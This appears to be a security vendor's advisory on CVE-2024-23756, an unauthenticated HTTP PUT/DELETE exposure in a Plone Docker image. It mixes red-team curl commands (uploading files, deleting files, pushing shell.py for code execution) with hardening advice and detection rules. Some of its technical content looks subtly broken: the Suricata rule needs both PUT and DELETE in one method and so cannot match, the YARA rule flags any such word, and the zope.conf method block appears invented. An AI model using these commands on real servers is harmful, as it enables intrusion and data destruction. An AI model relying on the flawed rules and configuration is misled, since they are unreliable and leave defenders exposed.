CVE-2024-23756

Executive Summary

CVE-2024-23756 exposes a critical misconfiguration in the official Plone Docker image version 5.2.13 (5221), where HTTP PUT and DELETE methods are enabled by default. This allows any unauthenticated attacker to upload arbitrary files to the server or delete existing files, leading to potential remote code execution, data destruction, or defacement. The vulnerability is trivial to exploit and requires no authentication, making it a high-priority threat for any organization using this specific Docker image.

Supply Chain & Package Security

This vulnerability is not a software bug in Plone itself, but a dangerous default configuration in the official Docker image. Organizations relying on this image from Docker Hub are at risk. The supply chain risk is elevated because the image is officially maintained, leading to a false sense of security. Users must verify their Dockerfile or deployment scripts to ensure they are not inheriting this insecure configuration.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) – Exploitable remotely.
• Attack Complexity (AC): Low (L) – No special conditions required.
• Privileges Required (PR): None (N) – No authentication needed.
• User Interaction (UI): None (N) – No user action required.
• Scope (S): Unchanged (U) – Exploit does not affect other components.
• Confidentiality (C): High (H) – Attacker can read uploaded files.
• Integrity (I): High (H) – Attacker can upload malicious files.
• Availability (A): High (H) – Attacker can delete critical files.

CVSS Score: 9.8 (Critical)

Deep Dive & Mechanics

The vulnerability stems from the default web server configuration within the Plone Docker image. Plone typically runs behind a reverse proxy (e.g., Nginx or Apache) that should block HTTP PUT and DELETE methods. However, in this specific Docker build, the underlying WSGI server (likely Waitress or Gunicorn) is exposed directly or the reverse proxy is misconfigured to allow these methods.

Attack Flow:

1. An attacker identifies a Plone instance running the vulnerable Docker image.
2. The attacker sends an HTTP PUT request to /path/to/file.txt with the file content in the request body.
3. The server accepts the request and writes the file to the filesystem.
4. The attacker can then access the uploaded file via HTTP GET, potentially executing server-side code (e.g., a Python script or a malicious .pt template).
5. Similarly, an HTTP DELETE request to an existing file path will remove it from the server.

Root Cause: The Docker image's configuration file (likely zope.conf or the Plone buildout) does not restrict HTTP methods. The default Plone security policy is overridden or not applied.

Vulnerable vs. Patched Code

Vulnerable Configuration (Docker image 5.2.13):

# In zope.conf or similar
<http-server>
  address 8080
</http-server>
# No method restrictions

Patched Configuration (Recommended):

# In zope.conf or reverse proxy config
<http-server>
  address 8080
  # Restrict methods
  <method>
    GET
    HEAD
    POST
  </method>
</http-server>

Or, at the reverse proxy level (Nginx):

if ($request_method !~ ^(GET|HEAD|POST)$) {
    return 405;
}

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• A target running Plone Docker 5.2.13.
• Network access to the Plone HTTP port (default 8080).

Step 1: Upload a file

curl -X PUT -d "malicious content" http://target:8080/evil.txt

Step 2: Verify upload

curl http://target:8080/evil.txt

Step 3: Delete a file

curl -X DELETE http://target:8080/important_file.txt

Step 4: Achieve RCE (if server-side scripting is enabled) Upload a Python script or Plone template:

curl -X PUT --data-binary @shell.py http://target:8080/shell.py

Then access it to execute.

Blue Team (Detection & Hardening)

Detection:

• Monitor web server logs for HTTP methods other than GET, HEAD, POST.
• Alert on 405 Method Not Allowed responses (if you have implemented restrictions).
• Use file integrity monitoring to detect unexpected file creations or deletions.

Hardening:

1. Immediate: Disable PUT and DELETE in the reverse proxy or application server.
2. Configuration: Add method restrictions to zope.conf or the WSGI server configuration.
3. Dockerfile: Do not use the official image as-is; build from a hardened base.
4. Network: Place Plone behind a WAF that blocks dangerous methods.

Indicators of Compromise (IOCs)

• Network: HTTP requests with PUT or DELETE methods to the Plone server.
• File System: Unexpected files in the Plone instance directory (e.g., *.txt, *.py, *.pt).
• Logs: Access log entries showing PUT or DELETE with a 200 or 201 status code.
• Process: Unusual child processes spawned by the Plone server (e.g., shell commands).

Detection Engineering

YARA Rule

rule CVE_2024_23756_Plone_PUT_DELETE {
    meta:
        description = "Detects HTTP PUT or DELETE requests to Plone server"
        author = "Valters IT"
        date = "2024-01-01"
        reference = "CVE-2024-23756"
    strings:
        $put = "PUT" ascii wide nocase
        $delete = "DELETE" ascii wide nocase
    condition:
        any of them
}

Sigma Rule

title: Plone HTTP PUT/DELETE Method Usage
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects HTTP PUT or DELETE requests to a Plone server
author: Valters IT
logsource:
    category: webserver
    product: plone
detection:
    selection:
        cs-method:
            - 'PUT'
            - 'DELETE'
    condition: selection
falsepositives:
    - Legitimate administrative actions (if enabled)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-23756 Plone HTTP PUT/DELETE Attempt"; flow:to_server; http.method; content:"PUT"; nocase; http.method; content:"DELETE"; nocase; classtype:attempted-recon; sid:1000001; rev:1;)

Remediation & Mitigation

1. Immediate Action: Disable HTTP PUT and DELETE methods in the Plone configuration or reverse proxy.
2. Configuration Change: Add the following to your reverse proxy (Nginx example):

   if ($request_method !~ ^(GET|HEAD|POST)$) {
       return 405;
   }
   

3. Docker Image: Switch to a custom-built image that does not enable these methods.
4. Monitoring: Implement logging and alerting for unusual HTTP methods.
5. Patch: Monitor the Plone project for an official fix. Until then, manual hardening is required.

Valters IT
Securing your digital infrastructure.